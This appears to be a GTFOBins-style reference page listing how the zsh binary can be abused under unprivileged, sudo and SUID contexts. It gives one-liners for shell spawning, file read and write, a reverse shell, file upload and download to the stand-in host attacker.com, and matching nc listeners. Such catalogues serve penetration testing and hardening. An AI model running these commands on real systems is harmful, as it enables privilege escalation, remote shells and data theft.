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Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
```
Listener
A TCP server can be used on the attacker box to receive the shell.
```
nc -l -p 12345
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c 'echo DATA >/path/to/output-file'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c 'echo DATA >/path/to/output-file'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c 'echo DATA >/path/to/output-file'
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c 'echo "$(</path/to/input-file)"'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c 'echo "$(</path/to/input-file)"'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c 'echo "$(</path/to/input-file)"'
```
Remarks
The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
Comment
This spawns a pager if run in a TTY.
Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c '</path/to/input-file'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c '</path/to/input-file'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c '</path/to/input-file'
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
```
Remarks
The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
Receiver
A TCP server can be used on the attacker box to receive the data.
```
nc -l -p 12345 >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
```
Remarks
The content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
Sender
A TCP server can be used on the attacker box to send the data.
```
nc -l -p 12345 </path/to/input-file
```

Inherit

This executable can inherit functions from another.

Unprivileged
This function can be performed by any unprivileged user.
```
zsh -c '</etc/hosts'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
zsh -c '</etc/hosts'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
zsh -c '</etc/hosts'
```
Functions
Inherits from less, thus possibly granting the following functions:

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